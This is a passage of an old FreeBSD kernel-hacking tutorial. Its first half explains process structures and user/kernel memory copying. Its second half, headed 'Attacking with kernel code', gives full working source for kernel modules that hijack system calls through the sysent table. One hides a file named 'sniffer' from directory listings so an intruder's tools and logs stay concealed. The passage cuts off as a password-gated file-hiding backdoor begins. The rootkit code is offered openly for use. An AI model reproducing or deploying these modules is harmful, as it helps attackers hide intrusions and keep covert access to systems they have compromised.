1598 /* End area that is zeroed on creation. */
1599 #define p_endzero       p_startcopy
1600
1601 /* The following fields are all copied upon creation in fork. */
1602 #define p_startcopy     p_sigmask
1603
1604         sigset_t p_sigmask;     /* Current signal mask. */
1605         u_char  p_priority;     /* Process priority. */
1606         u_char  p_usrpri;       /* User-priority based on p_cpu and p_nice. */
1607         char    p_nice;         /* Process "nice" value. */
1608         char    p_comm[MAXCOMLEN+1];
1609
1610         struct  pgrp *p_pgrp;   /* Pointer to process group. */
1611
1612         struct  sysentvec *p_sysent; /* System call dispatch information. */
1613
1614         struct  rtprio p_rtprio;        /* Realtime priority. */
1615 /* End area that is copied on creation. */
1616 #define p_endcopy       p_addr
1617         struct  user *p_addr;   /* Kernel virtual addr of u-area (PROC ONLY). */
1618         struct  mdproc p_md;    /* Any machine-dependent fields. */
1619
1620         u_short p_xstat;        /* Exit status for wait; also stop signal. */
1621         u_short p_acflag;       /* Accounting flags. */
1622         struct  rusage *p_ru;   /* Exit information. XXX */
1623
1624         int     p_nthreads;     /* number of threads (only in leader) */
1625         void    *p_aioinfo;     /* ASYNC I/O info */
1626         int     p_wakeup;       /* thread id */
1627         struct proc *p_peers;   
1628         struct proc *p_leader;
1629         struct  pasleep p_asleep;       /* Used by asleep()/await(). */
1630 };
1631 </xmp> 
1632 This structure is quite big and complex. There are lots of substructurs we will
1633 use in part II, so I won't explain them here. Most of the fields should be
1634 clear. The vmspace field is also very important for us, because it's our gate
1635 to the process' memory.<br>
1636 Now we know how processes are described, but where do we have the allproc and
1637 zombroc lists ? Let's search for them in kern_proc.c :
1638 <xmp>
1639 struct proclist allproc;
1640 struct proclist zombroc;
1641 </xmp>
1642 A reference to proclist can be found in proc.h
1643 <xmp>
1644 LIST_HEAD(proclist, proc);
1645 </xmp>
1646 LIST_HEAD is another macro taken from queue.h that provides a list (here
1647 proclist). Now we know how to find any process running on the system : just
1648 look through allproc (zombroc).<br>
1649 This are the most basic lists and structures we need to understand, there are
1650 thousands more, but we won't need them too often.
1651
1652 <p>
1653 <H3><A NAME="I.7.1."></A>7.1.1. TheSeeker - or how to access kernel lists</h3>
1654 <p>
1655
1656 I developed a little module that inserts one new system call which provides
1657 us with the ability to export some kernel space structures and lists to user
1658 space. This is not very useful (there are better libc calls), I just wrote it
1659 to show you in an easy way how to handle system calls, kernel lists, user space
1660 kernel space interfaces, etc. There are some pieces of code that handle the
1661 user space <-> kernel space transition. For those not aware of this problem I
1662 suggest first reading section I.8. Those who read my Linux article should be
1663 able to continue without problems. So here is the module source :
1664 <xmp>
1665 #include <sys/types.h>
1666 #include <sys/param.h>
1667 #include <sys/proc.h>
1668 #include <sys/module.h>
1669 #include <sys/sysent.h>
1670 #include <sys/kernel.h>
1671 #include <sys/systm.h>
1672 #include <sys/linker.h>
1673 #include <sys/sysproto.h>
1674 #include <sys/sysent.h>
1675 #include <sys/proc.h>
1676 #include <sys/syscall.h>
1677 #include <sys/file.h>
1678 #include <sys/malloc.h>
1679 #include <sys/types.h>
1680 #include <sys/lock.h>
1681
1682 #define GD_ALLPROC       1
1683 #define GD_LINKFILES     2
1684 #define GD_MODULES       3
1685
1686 typedef TAILQ_HEAD(, module) modulelist_t;
1687
1688 /*import lock structure*/
1689 extern struct lock lock;
1690
1691 /*import the linker_file list*/
1692 extern linker_file_list_t files;
1693
1694 /*import module list*/
1695 extern modulelist_t modules;
1696
1697 /*the module structure (normally defined in kern_module.c)*/
1698 struct module {
1699  TAILQ_ENTRY(module) link;
1700  TAILQ_ENTRY(module) flink;
1701  struct linker_file *file;
1702  int refs;
1703  int id;
1704  char *name;
1705  modeventhand_t handler;
1706  void *arg;
1707  modspecific_t data;
1708 };
1709
1710 /*structure for our getdata system call*/
1711
1712 static struct getdata_args {
1713  /*this int value stands for the data the user wants to see*/
1714  int what;
1715  /*this is a user space buffer where we will put the data*/
1716  char *buffer;
1717 };
1718
1719
1720 /*the system call function we implement*/
1721 /*GENERAL WORKING :
1722   This system call gets two arguments from a user space program : an integer
1723   used as a switch parameter (what kernel list do we want) and a pointer to
1724   an allocated user space memory location. If this pointer is zero the
1725   system call will return the size of the requested list. This is useful for
1726   selecting the buffer size in a second step.*/
1727
1728 static 
1729 int getdata(struct proc *p, struct getdata_args *uap)
1730 {
1731  int size, flag=0;
1732  struct proc *pr;
1733  linker_file_t lf=0;
1734  module_t mod=0;
1735
1736  /*if the buffer is NULL then the user requests the list size*/
1737  if (uap->buffer==NULL) flag=1;
1738
1739  /*which list does the user want*/
1740  switch(uap->what) 
1741  {
1742   case GD_ALLPROC :
1743   {
1744    size=0;
1745    pr=allproc.lh_first;
1746    for (; pr!=0; pr=pr->p_list.le_next)
1747    {
1748     size+=sizeof(struct proc);
1749    }
1750    /*if the user only want the size, return it*/
1751    if (flag==1) {p->p_retval[0]=size; break;}
1752    pr=allproc.lh_first;
1753    size=0;
1754    /*otherwise returnthe structure into the user space buffer*7
1755    for(; pr!=0; pr=pr->p_list.le_next)
1756    {
1757     copyout(pr, uap->buffer+size, sizeof(struct proc));
1758     size+=sizeof(struct proc);
1759    }
1760    /*return number of procs returned in buffer*/
1761    p->p_retval[0]=size/sizeof(struct proc);
1762    break;
1763   }
1764   case GD_MODULES :
1765   {
1766    size=0;
1767    for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
1768    {  
1769     size+=sizeof(struct module);
1770    } 
1771    if (flag==1) {p->p_retval[0]=size; break;}
1772    size=0;
1773    for (mod=TAILQ_FIRST(&modules); mod; mod=TAILQ_NEXT(mod, link))
1774    {
1775     copyout(mod, uap->buffer+size, sizeof(struct module));
1776     size+=sizeof(struct module);
1777    }
1778    /*return number of procs returned in buffer*/
1779    p->p_retval[0]=size/sizeof(struct module);
1780    break;
1781   }
1782   case GD_LINKFILES :
1783   {
1784    size=0;
1785    /*lock*/
1786    lockmgr(&lock, LK_SHARED, 0, curproc);
1787    for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
1788    {  
1789     size+=sizeof(struct linker_file);
1790    } 
1791    /*unlock*/
1792    lockmgr(&lock, LK_RELEASE, 0, curproc);
1793    if (flag==1) {p->p_retval[0]=size; break;}
1794    size=0;
1795    lockmgr(&lock, LK_SHARED, 0, curproc);
1796    for (lf=TAILQ_FIRST(&files); lf; lf=TAILQ_NEXT(lf, link))
1797    {
1798     copyout(lf, uap->buffer+size, sizeof(struct linker_file));
1799     size+=sizeof(struct linker_file);
1800    }
1801    lockmgr(&lock, LK_RELEASE, 0, curproc);
1802    /*return number of procs returned in buffer*/
1803    p->p_retval[0]=size/sizeof(struct linker_file);
1804    break;
1805   }
1806  }
1807  return 0;
1808 }     
1809         
1810
1811 /*the hacked open syscall*/
1812 static struct sysent getdata_sysent = {
1813        2,       
1814        getdata                  /* sy_call */
1815 };
1816                                                                       
1817                                                                               
1818
1819 /*
1820  * The function called at load/unload.
1821  */
1822 static int
1823 dummy_handler (struct module *module, int cmd, void *arg)
1824 {
1825  int error = 0;
1826  switch (cmd) {
1827   case MOD_LOAD :
1828    /*install the system call, UNLOAD will not remove it, I am too lazy :)*/
1829    sysent[210]=getdata_sysent;
1830   break;
1831   case MOD_UNLOAD :
1832   break;
1833   default :
1834    error = EINVAL;
1835   break;
1836  }
1837  return error;
1838 }
1839                                                    
1840 /*install the module as our MISC type*/
1841 static moduledata_t syscall_mod = {
1842  "TheSeeker", 
1843  dummy_handler,
1844  NULL
1845 };
1846
1847 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
1848   
1849 </xmp>
1850 This is no nice style programming style, but working. The copy* functions will
1851 be explained in I.8. Recognize that return values for user space a saved in
1852 a part of the module structure (p->p_retval[0]). The rest should be quite
1853 clear.<br>
1854 I also wrote a little user space program showing how to use this system call.
1855 Of course, you have to load the module before.
1856 <xmp>
1857 #include <sys/types.h>
1858 #include <sys/param.h>
1859 #include <sys/proc.h>
1860 #include <sys/module.h>
1861 #include <sys/sysent.h>
1862 #include <sys/kernel.h>
1863 #include <sys/systm.h>
1864 #include <sys/linker.h>
1865 #include <sys/sysent.h>
1866 #include <sys/proc.h>
1867 #include <sys/syscall.h>
1868 #include <sys/file.h>
1869 #include <sys/malloc.h>
1870 #include <sys/types.h>
1871 #include <sys/lock.h>
1872
1873
1874 typedef struct linker_file* linker_file_t;
1875
1876 struct linker_file {
1877     int                 refs;           /* reference count */
1878     int                 userrefs;       /* kldload(2) count */
1879     TAILQ_ENTRY(linker_file) link;      /* list of all loaded files */
1880     char*               filename;       /* file which was loaded */
1881     int                 id;             /* unique id */
1882     caddr_t             address;        /* load address */
1883     size_t              size;           /* size of file */
1884     int                 ndeps;          /* number of dependancies */
1885     linker_file_t*      deps;           /* list of dependancies */
1886     STAILQ_HEAD(, common_symbol) common; /* list of common symbols */
1887     TAILQ_HEAD(, module) modules;       /* modules in this file */
1888     void*               priv;           /* implementation data */
1889
1890     struct linker_file_ops* ops;
1891 };
1892
1893
1894 struct module {
1895  TAILQ_ENTRY(module) link;
1896  TAILQ_ENTRY(module) flink;
1897  struct linker_file *file;
1898  int refs;
1899  int id;
1900  char *name;
1901  modeventhand_t handler;
1902  void *arg;
1903  modspecific_t data;
1904 };
1905
1906 int errno;
1907
1908 #define GD_ALLPROC       1
1909 #define GD_LINKFILES     2
1910 #define GD_MODULES       3
1911
1912
1913 /*structure for our getdata system call*/
1914 struct getdata_args {
1915  /*this int value stands for the data the user wants to see*/
1916  int what;
1917  /*this is a user space buffer where we will put the data*/
1918  char *buffer;
1919 };
1920
1921 void print_allprocs()
1922 {
1923  struct getdata_args gda;
1924  int size;
1925  struct proc *procs;
1926  char *p;
1927  int counter, tmp;
1928
1929  /*set the getdata fields*/
1930  gda.what=GD_ALLPROC;
1931  gda.buffer=NULL;
1932  size=syscall (210, gda);
1933
1934  /*allocate some bytes*/
1935  p=(char*)malloc(size); 
1936  
1937  /*set the getdata fields*/
1938  gda.what=GD_ALLPROC;
1939  gda.buffer=(char*)p;
1940  tmp=syscall(210, gda);
1941  procs=(struct proc*)p;  
1942
1943  for (counter=0; counter<tmp; counter++)
1944   printf("PID : %d\n", procs[counter].p_pid);
1945  free(p); 
1946 }
1947
1948
1949 void print_files()
1950 {
1951  struct getdata_args gda;
1952  int size;
1953  struct linker_file *procs;
1954  char *p;
1955  int counter, tmp;
1956
1957  /*set the getdata fields*/
1958  gda.what=GD_LINKFILES;
1959  gda.buffer=NULL;
1960  size=syscall (210, gda);
1961
1962  printf("SIZE : %d\n", size);
1963
1964  /*allocate some bytes*/
1965  p=(char*)malloc(size); 
1966  
1967  /*set the getdata fields*/
1968  gda.what=GD_LINKFILES;
1969  gda.buffer=(char*)p;
1970  tmp=syscall(210, gda);
1971  printf("STRUCTS : %d\n", tmp);
1972  procs=(struct linker_file*)p;  
1973
1974  for (counter=0; counter<tmp; counter++)
1975   printf("ID : %d\n", procs[counter].id);
1976
1977  free(p); 
1978 }
1979
1980 void print_modules()
1981 {
1982  struct getdata_args gda;
1983  int size;
1984  struct module *procs;
1985  char *p;
1986  int counter, tmp;
1987
1988  /*set the getdata fields*/
1989  gda.what=GD_MODULES;
1990  gda.buffer=NULL;
1991  size=syscall (210, gda);
1992
1993  printf("SIZE : %d\n", size);
1994
1995  /*allocate some bytes*/
1996  p=(char*)malloc(size); 
1997  
1998  /*set the getdata fields*/
1999  gda.what=GD_MODULES;
2000  gda.buffer=(char*)p;
2001  tmp=syscall(210, gda);
2002  printf("STRUCTS : %d\n", tmp);
2003  procs=(struct module*)p;  
2004  /*print the id of every module loaded so far*/
2005  for (counter=0; counter<tmp; counter++)
2006   printf("ID : %d\n", procs[counter].id);
2007  free(p); 
2008 }
2009
2010
2011
2012 int
2013 main(int argc, char **argv)
2014 {
2015  print_modules();
2016  return 0;
2017 }
2018 </xmp>
2019
2020 Arghh, I hope no computer science professor will see this, it's a cruel kind of
2021 programming ;), but working [I hate it too loose time with nice software
2022 design...]. Of course, it would be very easy to make this program more
2023 compact, but I also wrote it this way to make it easier to understand. The
2024 different print_* functions will put out the desired information. The
2025 syscall() function calls a certain system call plus required arguments.<br>
2026 NOTE :
2027 This module is no perfect solution. Try to access a field like filename in a
2028 linker_file structure you get vie print_files. You will get a nice error, why?
2029 Look at the following image :
2030 <xmp>
2031 user space :
2032
2033 ----------------------------------------------------------------------------
2034
2035 kernel space :            one linker_file structure             
2036                           +++++++++++++++++++++++++
2037                           +...                    +  
2038                           + char *filename        +  ---------> name
2039                           +...                    +  points to an address in
2040                           +...                    +  kernel space
2041                           +...                    +
2042
2043 </xmp>
2044 Now what did our system call, take a look at the next image :
2045 <xmp>
2046
2047 user space :              one linker_file structure             
2048                           +++++++++++++++++++++++++
2049                           +...                    +  
2050                           + char *filename        +  ----
2051                           +...                    +     |
2052                           +...                    +     |
2053                           +...                    +     |
2054                                                         |
2055                                                         |
2056                                                         |
2057 ----------------------------------------------------------------------------
2058                                                         |
2059 kernel space :                                          |
2060                                                         |---> name
2061
2062
2063 </xmp>
2064 Do you see the problem? The char* filename pointer still points to the old
2065 address in kernel space while the linker_file structure was move to user
2066 space. This means you cannot access any pointer fields in the structures /
2067 lists exported by TheSeeker module. Of course, you could also transform those
2068 address to user space, but that would be too complicated for a beginner
2069 example, so I did not implement it. Of course you can access any other fields
2070 that don't point to some location.
2071
2072 <p>
2073 <H3><A NAME="I.8."></A>8. From User to Kernel space and back</h3>
2074 <p>
2075
2076 In TheSeeker I introduced some kernel functions that were responsible for user
2077 <-> kernel space transitions. The following list shows all functions that are
2078 important for that task :
2079 <ul>
2080 <li>int copyin(const void *uaddr, void *kaddr, size_t len);<br>
2081 ->copies len bytes from user space (uaddr) to kernel space (kaddr)<br>
2082
2083 <li>int copyout(const void *kaddr, void *uaddr, size_t len);<br>
2084 ->copies len bytes from kernel space (kaddr) to user space (uaddr)<br>
2085
2086 <li>int copyinstr(const void *uaddr, void *kaddr, size_t len, size_t
2087 *done);<br> 
2088 ->copies NUL-terminated string, at most len bytes long, fom user
2089 space (uaddr) to kernel space (kaddr). The number of bytes actually copied
2090 is returned in done.<br>
2091 </ul>
2092 I always used these functions. There are also some other byte-oriented
2093 functions (like fetch etc.) but I nver used them.
2094 The easiest task is to copy from user to kerne space. You have only to provide
2095 a buffer in kernel space. Take a look at the following fragment (taken from
2096 my directory hack) :
2097 <xmp>
2098 /*We need to define M_DIRP2 for allocating some memory in kernel space with
2099   the help of the MALLOC macro*/
2100 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
2101
2102 ...
2103
2104 struct dirent *dirp2, *dirp3;
2105   
2106 ...
2107
2108 /*allocate memory*/ 
2109 MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
2110
2111 ...
2112
2113 /*copy from user space (uap->buf) to kernel space (dirp2) tmp bytes*/
2114 copyin(uap->buf, dirp2, tmp);
2115
2116 </xmp>
2117 Look at the MALLOC man page for more details. Of course you could also use
2118 something like char mem[100]; instead of MALLOC, but malloc is the better
2119 choice.<br>
2120 So copyin from user to kernel space a trivial. But what about the other
2121 direction? You have to differentiate between two cases : is there already an
2122 allocated buffer for the process in user space? If so just use copyout and you
2123 are done. But what to do if you don't have a memory buffer in user space. Look
2124 at my solution (I made lots of comments for beginners, please read them :)):
2125 <xmp>
2126 /*This example demonstrates how to use the OBREAK syscall to issue a system
2127 call from kernel mode. I implemented a syscall (offset 210) which will create
2128 a directory (TESTDIR) by using the mkdir syscall. The general problem with
2129 this task is supplying the arguments for mkdir from +user space+.*/
2130
2131 #include <sys/types.h>
2132 #include <sys/param.h>
2133 #include <sys/proc.h>
2134 #include <sys/module.h>
2135 #include <sys/sysent.h>
2136 #include <sys/kernel.h>
2137 #include <sys/systm.h>
2138 #include <sys/linker.h>
2139 #include <sys/sysproto.h>
2140 #include <sys/sysent.h>
2141 #include <sys/proc.h>
2142 #include <sys/syscall.h>
2143
2144
2145 /* 
2146  * Shareable process virtual address space.
2147  * May eventually be merged with vm_map.
2148  * Several fields are temporary (text, data stuff).
2149  */
2150 struct vmspace {
2151 /*NOTE : I just used some padding stuff, to avoid too much include file
2152          problems...
2153 */
2154 /*      struct vm_map vm_map;    VM address map */
2155         char pad1[100];
2156 /*      struct pmap vm_pmap;     private physical map */
2157         char pad2[36];
2158         int vm_refcnt;          /* number of references */
2159         caddr_t vm_shm;         /* SYS5 shared memory private data XXX */
2160 /* we copy from vm_startcopy to the end of the structure on fork */
2161 #define vm_startcopy vm_rssize
2162         segsz_t vm_rssize;      /* current resident set size in pages */
2163         segsz_t vm_swrss;       /* resident set size before last swap */
2164         segsz_t vm_tsize;       /* text size (pages) XXX */
2165         segsz_t vm_dsize;       /* data size (pages) XXX */
2166         segsz_t vm_ssize;       /* stack size (pages) */
2167         caddr_t vm_taddr;       /* user virtual address of text XXX */
2168         caddr_t vm_daddr;       /* user virtual address of data XXX */
2169         caddr_t vm_maxsaddr;    /* user VA at max stack growth */
2170         caddr_t vm_minsaddr;    /* user VA at max stack growth */
2171 };
2172
2173
2174
2175 /*just a simple syscall handler which will create a dir entry*/
2176 static int user_syscall (struct proc *p, void *arg)
2177 {      
2178  /*example directory we want to create from kernel space via syscall
2179    recall that this string is saved in kernel context and not in user space
2180    is we need it*/
2181  char *kernel_name="./TESTDIR\0";
2182
2183  /*this will hold our address in user space (for the directory name)*/
2184  char *user_name;
2185
2186  /*one structure for kernel space and one for the user part :
2187    This structure is used by the syscall mkdir for holding the required
2188    arguments (see system call listing)*/
2189  struct mkdir_args kernel_ma;
2190  struct mkdir_args *user_ma;
2191
2192  /*we need to allocate memory, so we use the easiest way : syscall obreak*/
2193  struct obreak_args oa;
2194
2195  /*the process we want to 'abuse' for saving our data in its VM space.
2196  I used curproc which always points to the current process.*/
2197  struct proc *userproc=curproc;
2198
2199  /*NOTE : The following stuff is very experimental !
2200    ----
2201  */
2202
2203  /* 
2204    allocate 4096 bytes of heap memory for the user space args :
2205    ctob : transforms a given page count to the corresponding bytes count;
2206           of course, this calculation depends on the underlying architecture
2207    btoc : this is the counterpart to ctob
2208  */
2209  oa.nsize=userproc->p_vmspace->vm_daddr+ctob(userproc->p_vmspace->vm_dsize)+
2210           4096; 
2211
2212  /*this is just for debugging*/
2213  printf("Process ID                    : %d\n", userproc->p_pid);
2214  printf("OLD DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
2215  printf("OBREAK RETURN VALUE           : %d\n",obreak(userproc, &oa));
2216  printf("NEW DATA SEGMENT SIZE (bytes) : %d\n", ctob(userproc->p_vmspace->vm_dsize));
2217  
2218  /*move our directory name to a random location in the user space data segment
2219    range (within the newly allocated page*/ 
2220  user_name=oa.nsize-80; 
2221
2222  /*use copyout, which is able to copy from kernel to user space*/
2223  copyout(kernel_name, user_name, strlen(kernel_name));
2224
2225  /*just for debugging : where did we save the name in user space?*/
2226  printf("USER NAME ADDRESS  : %p\n", user_name);
2227
2228  /*now it gets a bit tricky : 
2229    --------------------------
2230    we move the VM address from user space into the kernel_ma.path pointer in
2231    kernel space*/  
2232
2233  kernel_ma.path=oa.nsize-80;
2234  
2235  /*creation mode = 0*/
2236  kernel_ma.mode=0;  
2237
2238  /*NOW the kernel_ma structure is ok, we can copy this structure to user space
2239  */ 
2240
2241  /*select a place (within the allocated page) where to put the user_ma
2242    structure*/
2243  user_ma=(struct mkdir_args*)oa.nsize-50;
2244
2245  /*again a copyout*/
2246  copyout(&kernel_ma, user_ma, sizeof(struct mkdir_args));
2247
2248  /*again some debug messages*/
2249  printf("USER STRUCT ADDRESS : %p\n",user_ma);
2250
2251  /*Issue the mkdir syscall. Did we succeed ? Zero return value stands for
2252    success.*/  
2253  printf("MKDIR RETURN        : %d\n", mkdir(userproc, user_ma));
2254
2255  return 0;
2256 }
2257
2258 /*
2259  * The `sysent' for the new syscall
2260  */
2261 static struct sysent user_syscall_sysent = {
2262         0,      
2263         user_syscall                    /* sy_call */
2264 };
2265
2266 /*
2267  * The offset in sysent where the syscall is allocated.
2268  */
2269
2270 /*210 is a free slot in FreeBSD 3.1*/
2271 static int offset = 210;
2272
2273 /*
2274  * The function called at load/unload.
2275  */
2276 static int
2277 load (struct module *module, int cmd, void *arg)
2278 {
2279  /*no special processing here*/
2280  return 0;
2281 }
2282
2283 SYSCALL_MODULE(syscall, &offset, &user_syscall_sysent, load, NULL);
2284 </xmp>
2285 The comments should make everything quite clear. The general idea is to use
2286 the obreak system call to allocate some memory (move the vm_daddr).
2287
2288 <p>
2289 <H3><A NAME="I.9."></A>9. Last Words</h3>
2290 <p>
2291 I hope you understood the stuff I mentioned in this basic section. It's really
2292 important that you get the general ideas in order to understand part II.<br>
2293 You should take a look at the man pages of section 9. There you can find some
2294 interesting kernel functions that will be useful sometimes.
2295
2296 <p>
2297 <H3><A NAME="II."></A>II. Attacking with kernel code</h3>
2298 <p>
2299 The general layout of this article is based on my Linux article. Part II Fun
2300 & Profit will deal with ways to attack a FreeBSD system with modules. My Linux
2301 article shows nearly every aspect of attacking a system with kernel code. The
2302 FreeBSD part here is based on the ideas of Linux LKM hacks (I only added some
2303 items special for FreeBSD). This FreeBSD part will only present those modules,
2304 that needed big code/strategy modifications according to the Linux ones.
2305
2306 <p>
2307 <H3><A NAME="II.1."></A>1. How to intercept system calls</h3>
2308 <p>
2309 Intercepting systemcalls on FreeBSD is nearly the same like doing this on a
2310 Linux Box. Again we start with a very very basic example :
2311 <xmp>
2312 #include <sys/types.h>
2313 #include <sys/param.h>
2314 #include <sys/proc.h>
2315 #include <sys/module.h>
2316 #include <sys/sysent.h>
2317 #include <sys/kernel.h>
2318 #include <sys/systm.h>
2319 #include <sys/linker.h>
2320 #include <sys/sysproto.h>
2321 #include <sys/sysent.h>
2322 #include <sys/proc.h>
2323 #include <sys/syscall.h>
2324
2325
2326 /*The hacked system call*/
2327 static int
2328 hacked_mkdir (struct proc *p, struct mkdir_args *ua)
2329 {      
2330  /*the only thing we do is printing a debug message*/
2331  printf("MKDIR SYSCALL :  %s\n", ua->path);
2332  return mkdir(p, ua);
2333 }
2334
2335
2336 /*the sysentry for the hacked system call. Be careful, argument count must be
2337 same for the hacked and the origanel system call (here 1)*/
2338
2339 static struct sysent
2340 hacked_mkdir_mkdir_sysent = {        
2341        1,       
2342        hacked_mkdir                     /* sy_call */
2343 };
2344
2345
2346 /*our load function*/
2347 static int
2348 dummy_handler (struct module *module, int cmd, void *arg)
2349 {
2350  int error = 0;
2351
2352  switch (cmd) {
2353   case MOD_LOAD :
2354    /*replace the mkdir syscall with our own*/
2355    sysent[SYS_mkdir]=hacked_mkdir_mkdir_sysent;
2356   break;
2357   case MOD_UNLOAD :
2358    /*argument count has not changed, so we only need to restore the
2359    function pointer*/
2360    sysent[SYS_mkdir].sy_call=(sy_call_t*)mkdir;
2361   break;
2362   default :
2363    error = EINVAL;
2364   break;
2365  }
2366  return error;
2367 }
2368   
2369 static moduledata_t syscall_mod = {
2370  "Intercept", 
2371  dummy_handler,
2372  NULL
2373 };
2374
2375 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2376   
2377 </xmp>
2378 As you can see you don't have to save the old sysent entry, you just refer to
2379 the original system call function (no problems like those we had with Linux
2380 concerning public and private kernel items).<br>
2381 Compile this module (as always take the Makefile from part I) and load it.
2382 Every mkdir system call will produce a nice debug message. <br>
2383 For those who don't know which system call to intercept, again : read my Linux
2384 article. On FreeBSD ktrace can be quite useful.
2385
2386 <p>
2387 <H3><A NAME="II.2."></A>2. Filesystem related hacks</h3>
2388 <p>
2389 Like the Linux one, we first start with filesystem hacks. They are really
2390 important for hiding our tools & logs.
2391
2392 <p>
2393 <H3><A NAME="II.2.1."></A>2.1. How to hide files</h3>
2394 <p>
2395
2396 The following module represents the getdirentries hack that will hide a certain
2397 file from directory listings made by commands like 'ls' :<br>
2398 Note :
2399 In Phrack (Volume 7, Issue 51 September 01, 1997, article 09) halflife already
2400 presented a nice hack for this problem. It was implemented under FreeBSD 2.2
2401 using the LKM scheme. He used a very short and good way to manage file hiding.
2402 My code below does the same stuff for FreeBSD 3.x systems. My approach is not
2403 so short, because I did user <-> kernel space transitions for clearness. The
2404 whole thing would also work without this stuff, but my module can easily be
2405 extended to do other things, because all relevant structures are copied to
2406 kernel space so you can modify them how ever you want before they are copied
2407 back.
2408
2409 <xmp>
2410 #include <sys/types.h>
2411 #include <sys/param.h>
2412 #include <sys/proc.h>
2413 #include <sys/module.h>
2414 #include <sys/sysent.h>
2415 #include <sys/kernel.h>
2416 #include <sys/systm.h>
2417 #include <sys/linker.h>
2418 #include <sys/sysproto.h>
2419 #include <sys/sysent.h>
2420 #include <sys/proc.h>
2421 #include <sys/syscall.h>
2422 #include <sys/file.h>
2423 #include <sys/malloc.h>
2424 #include <sys/types.h>
2425 #include <dirent.h>
2426
2427
2428 /*We need to define M_DIRP2 for allocating some memory in kernel space with
2429   the help of the MALLOC macro*/
2430 MALLOC_DEFINE(M_DIRP2, "dirp2", "struct");
2431
2432
2433 /*This hack is based on the getdents idea from some linux LKMs. FreeBSD is
2434  a bit more tricky, but it works.*/
2435 static int
2436 hacked_getdirentries (struct proc *p, struct getdirentries_args *uap)
2437 {      
2438  unsigned int tmp, n, t;
2439  struct dirent *dirp2, *dirp3;
2440   
2441  /*The file we want to hide : The name must match exactly !*/
2442  char hide[]="sniffer";
2443
2444  /*just issue the syscall*/
2445  getdirentries(p,uap);
2446  
2447  /*this is the way BSD returns status values to the process issueing the
2448    request.*/
2449  tmp=p->p_retval[0];
2450  
2451  if (tmp>0)
2452  { 
2453   /*allocate memory*/
2454   MALLOC(dirp2, struct dirent*, tmp, M_DIRP2, M_NOWAIT);
2455   /*copy the dirent structure for user space in our kernel space*/
2456   copyin(uap->buf, dirp2, tmp);
2457
2458   /*dirp3 points to dirp2*/
2459   dirp3=dirp2;
2460  
2461   t=tmp;
2462   
2463   /*In this loop we check for every dirent structure in the user buffer*/
2464   while (t > 0)
2465   {
2466    n = dirp3->d_reclen;
2467    t-=n;
2468    /*Do we have the entry for our file to hide*/
2469    if (strcmp((char*)&(dirp3->d_name), (char*)&hide)==0) 
2470    {
2471     if (t!=0)  
2472     {
2473      /*ATTENTION : Do not use something like strcpy or so. bcopy is able to
2474                    handle overlapping memroy locations, so this is our choice*/
2475      bcopy((char*)dirp3+n,dirp3, t);
2476     }
2477     /*the dirent structure list is shorter now*/
2478     tmp-=n;
2479    }
2480    /*The following piece of code is necessary, because we get one dirent entry
2481      with d_reclen=0, if we would not implement this, we would get an infinite
2482      while loop*/
2483    if (dirp3->d_reclen==0) 
2484    {
2485     /*end is reached*/
2486     t=0;
2487    }
2488    /*as long as there is something to copy, do it*/
2489    if (t!=0)
2490     /*get the next pointer from the dirent structure list*/ 
2491     dirp3=(struct dirent*)((char*)dirp3+dirp3->d_reclen); 
2492   }
2493   /*we must decrement the getdirentries user call return value, if we changed
2494     something*/
2495    p->p_retval[0]=tmp; 
2496
2497   /*copy the whole (perhaps modified) memory back to the user buffer*/
2498   copyout(dirp2, uap->buf, tmp);
2499  
2500   /*free kernel memory*/
2501   FREE(dirp2, M_DIRP2);
2502  }
2503  /*everything ok, so return 0*/
2504  return 0;
2505 }
2506
2507 /*the hacked getdirentries syscall*/
2508 static struct sysent hacked_getdirentries_sysent = {
2509        4,       
2510        hacked_getdirentries                     /* sy_call */
2511 };
2512
2513
2514
2515 /*
2516  * The function called at load/unload.
2517  */
2518 static int
2519 dummy_handler (struct module *module, int cmd, void *arg)
2520 {
2521  int error = 0;
2522
2523  switch (cmd) {
2524   case MOD_LOAD :
2525    /*replace the getdirentries syscall with our own*/
2526    sysent[196]=hacked_getdirentries_sysent;
2527   break;
2528   case MOD_UNLOAD :
2529    /*argument count has not changed, so we only need to restore the
2530    function pointer*/
2531    sysent[196].sy_call=(sy_call_t*)getdirentries;
2532   break;
2533   default :
2534    error = EINVAL;
2535   break;
2536  }
2537  return error;
2538 }
2539
2540 /*you will recognize that this part is the same (I only changed the module
2541   name) for every module I present.*/
2542 static moduledata_t syscall_mod = {
2543  "FileHider", 
2544  dummy_handler,
2545  NULL
2546 };
2547
2548 DECLARE_MODULE(syscall, syscall_mod, SI_SUB_DRIVERS, SI_ORDER_MIDDLE);
2549 </xmp>
2550 The general idea is the same for FreeBSD and Linux, but there are some
2551 differences concerning the coding. Especially the return value modification
2552 must be done in a different way. My comments should be clear, so try it. 
2553
2554 <p>
2555 <H3><A NAME="II.2.2."></A>2.2 How to hide the file contents</h3>
2556 <p>
2557 The following implementation is an extension to the Linux one. The Linux module
2558 was hiding a file contents so that a 'cat filename' returned with a 'file does
2559 not exist' errror. I implemented no way for you (hacker) to access this file, I
2560 only suggested some methods how to do it. The following module also implements
2561 a way to access it by you :
2562 <xmp>
2563 /*This module demonstrates how to make a file unaccessible. It has a
2564 authentication scheme which allows someone using the correct password (here
2565 007) to access the file. Only this user (represented by UID) can access it
2566 later. The password (007) is given through a newly defined syscall.*/
2567
2568 #include <sys/types.h>
2569 #include <sys/param.h>
2570 #include <sys/proc.h>
2571 #include <sys/module.h>
2572 #include <sys/sysent.h>
2573 #include <sys/kernel.h>
2574 #include <sys/systm.h>
2575 #include <sys/linker.h>
2576 #include <sys/sysproto.h>
2577 #include <sys/sysent.h>
2578 #include <sys/proc.h>
2579 #include <sys/syscall.h>
2580 #include <sys/file.h>
2581 #include <sys/malloc.h>
2582 #include <sys/types.h>
2583 #include <dirent.h>
2584
2585 /*this variable will hold the UID of the user who issued the system call with
2586 the correct code*/
2587
2588 uid_t access_uid=-1;
2589
2590 /*code for authentication*/
2591
2592 #define CODE 007
2593
2594
2595 /* 
